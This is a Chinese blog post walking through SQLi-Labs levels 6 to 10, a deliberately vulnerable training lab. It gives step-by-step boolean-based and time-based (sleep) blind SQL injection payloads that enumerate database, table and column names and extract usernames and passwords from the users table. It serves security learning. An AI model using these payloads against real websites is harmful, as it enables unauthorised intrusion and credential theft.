首页 > 数据库 >《SQLi-Labs》02. Less 6~10

《SQLi-Labs》02. Less 6~10

时间:2023-05-03 14:45:07浏览次数:41  
标签:02 Less url Labs SQLi --+ table id select

目录


sqli。开启新坑。

Less-6

知识点

布尔盲注。与 Less-5 基本相同。这里只简略写大致步骤。

  • length() 函数:返回字符串所占的字节数。
  • ascii() 函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如果是NULL,返回NULL。
  • substr() 函数:字符串截取函数。

题解

根据页面报错信息可以猜测 id 参数是双引号。

只需将 Less-5 的单引号换成双引号即可。

判断当前数据库长度:

url + ?id=1" and length((select database()))>=8 --+

字符串截取并通过 ASCII 码比较来得出数据库名:

url + ?id=1" and ascii(substr((select database()), 1, 1))=115 --+

爆表

判断所有表名字符长度:

url + ?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>28 --+

ASCII 码比较得到表名:

url + ?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1))>=109--+

爆字段

判断字符长:

url + ?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>=20 --+

判断字段名:

url + ?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>=105 --+

得到 username 和 password 字段

获取敏感数据

判断内容长度。

url + ?id=1" and length((select group_concat(username,password) from users))>=188 --+

然后依次判断每一个字符即可。最终结果与前 4 个题相同。

url + ?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>=68 --+

Less-7

题解

与 Less-5、Less-6 相同,也是布尔盲注。不过较上题有一点区别。

在这里插入图片描述

在这里插入图片描述

这一题只会显示报错,但没有报错信息。那就逐个判断一下。

传递 id=1' 时,显示错误;当传递 id=1" 时,显示正常,所以可以断定参数 id 为单引号字符串,因为单引号破坏了他原有语法结构。

然后传递 id=1' --+ 时报错,传递 id=1') --+ 发现依然报错。

那就试试双括号 id=1'))--+ ,发现页面显示正常。

于是用布尔盲注即可。Less-5 中已详细说明,Less-6 中给出了各个步骤,这里就不多说了。

Less-8

题解

Less-8 与 Less-5 一样。只不过 Less-5 没有报错信息,但有对错回显。

id参数是一个单引号字符串。使用布尔盲注,和 Less-5 无异。

Less-9

知识点

时间盲注。涉及到以下 MySQL 函数:

  • if (expr1, expr2, expr3)
    如果 expr1 是TRUE,则返回值为 expr2;否则返回值为 expr3。

  • sleep(N)
    让此语句运行N秒钟。

当无论输入什么,页面返回的结果都一样时,就无法使用布尔盲注。这时需要使用时间盲注。

时间盲注和布尔盲注的判断理解起来其实差不多。理解 Less-5 的布尔盲注后,这题也就好理解了。

只不过是布尔盲注通过页面回显判断真伪,时间盲注通过页面相应速度判断真伪。

题解

通过 if (a, sleep(3), 1) ,如果 a 结果是真的,那么执行 sleep(3) ,页面延迟 3 秒;如果 a 的结果是假,执行1,页面不延迟。

思路与 Less-5 相同。这里只简单叙述。

判断参数构造。通过页面时间来判断出id参数是单引号字符串。

url + ?id=1' and if(1=1, sleep(3), 1) --+

判断当前数据库名长度

url + ?id=1' and if(length((select database()))>8, sleep(3), 1) --+

逐一判断数据库字符

url + ?id=1' and if(ascii(substr((select database()),1,1))=115, sleep(3), 1) --+

爆表

判断所有表名长度。

url + ?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13, sleep(3), 1) --+

逐一判断表名。

url + ?id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99, sleep(3), 1) --+

爆字段

判断所有字段名的长度。

url + ?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20, sleep(3), 1) --+

逐一判断字段名。得到 username 和 password 字段。

url + ?id=1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99, sleep(3), 1) --+

获取敏感数据

判断内容长度。

url + ?id=1' and if(length((select group_concat(username,password) from users))>109, sleep(3), 1) --+

逐一检测内容即可。

url + ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50, sleep(3), 1) --+

Less-10

题解

id参数是双引号字符串。

和 Less-9 一样,只需要将单引号换成双引号即可。


十有九人堪白眼,百无一用是书生。

——《杂感》(清)黄景仁

标签:02,Less,url,Labs,SQLi,--+,table,id,select
From: https://www.cnblogs.com/GCom/p/17369034.html

相关文章

  • kissat分析02_主要功能函数01_propagate
    传播函数分布在propsearch.h、propsearch.c和proplit.c文件之中 propsearch.h #ifndef_propsearch_h_INCLUDED#define_propsearch_h_INCLUDEDstructkissat;structclause;structclause*kissat_search_propagate(structkissat*);#endif   ......
  • [ACTF新生赛2020]easyre 1
    下载回来后,有两个文件查那个内存大的就行,上边那个扔着不管就行查壳32位,进IDA,老套路,进主函数int__cdeclmain(intargc,constchar**argv,constchar**envp){_BYTEv4[12];//[esp+12h][ebp-2Eh]BYREF_DWORDv5[3];//[esp+1Eh][ebp-22h]_BYTEv6[5];//......
  • IDEA2022.1.2(转载)
    安装&破解的时间:2022-09-011.下载IDEA下载地址:https://www.jetbrains.com/idea/download/other.html选择版本:2022.1.2选择绿色版:2022.1.2-WindowsZIPArchive(zip)解压到自定义目录:D:\dev_tools\IntelliJ\ideaIU-2022.1.2.win2.下载破解包下载地址:https://wwi.lanzou......
  • kissat分析01_基本数据结构02_solver
    solver在internal.h中定义下面从使用的角度来了解solver个主要数据成员 assign.c中几个函数 staticinlinevoidkissat_assign(kissat*solver,#ifdefINLINE_ASSIGNvalue*values,assigned*assigned,#endifunsignedlit,......
  • 2022CVPR_Toward Fast, Flexible, and Robust Low-Light Image Enhancement(SCI_main)
    1.motivation(1)低光增强不能处理复杂的场景(2)需要耗费大量的计算2.contribution(1)节省计算(2)发明了自监督的SCI模块(SCI的核心是引入额外的网络模块(自校准照明)来辅助训练,而不是用于测试)大佬链接:(11条消息)低照度增强--论文阅读【《TowardFast,Flexible,andRobustLow-Light......
  • 20230429 模拟赛(jnxxhzz)
    T1.神奇零食柜略,oj上交要加快读T2.防御工事数据范围:\(1\len,m\le100\)不难想到是网络流(虽然我没想到……)这是一个挺基础的网络流对于每个\(V\),我们将它们连到一个超级源点上在往它的四个方向分别建边最后把所有的\(M\)连到一个汇点上而在建边时注意其实\(E->E\)的边......
  • Win11系统,VS2022编写数据库程序,小体积,绿色单文件,支持密码保护,XP到Win11都能运行
    在WIN11中用VS2022编写小体积的绿色单文件,支持密码保护,XP到WIN11都能运行的数据库程序1.用VC60建立一个Win32工程,VC60建立的工程默认是字节型的。2.用VS2010读取并转换为2010格式,再用VS2022读取,选择SDK和平台都不升级3.把wxsqlite3-4.5.1.zip\wxsqlite3-4.5.1\sqlite3se......
  • VS2022使用ClickOnce发布程序本地安装.net框架
    因为遇到下面的错误,没有在网上搜到详细解决问题的教程,费了一些时间才解决了问题,特此记录一下,也希望能帮助到其他人。 要在“系统必备”对话框中启用“从与我的应用程序相同的位置下载系统必备组件”,必须将“.NET桌面运行时6.0.14(x64)”项的文件“net6desktopruntime_x64\win......
  • 2023.5.1——软件工程日报
    所花时间(包括上课):0h代码量(行):0行博客量(篇):1篇今天,数学建模比赛中。。。我了解到的知识点:数学建模的相关知识......
  • 2023-05-02 量学基础 换挡买点
    1.放量上攻,缩量下跌,阳盖阴买入  1.放量上攻,缩量下跌,阳盖阴买入案例1:李16期答疑课2020年5月2号271.位置:攻守冲防的冲的位置2.压力:上方还有一堆套牢盘,所以无法直接上攻3.当下:(1)高量(2)第二天缩量站上高量(3)第三天首阴,放量阴,压力位(4)之后缩量调整。4.买入:(1)底部阳盖......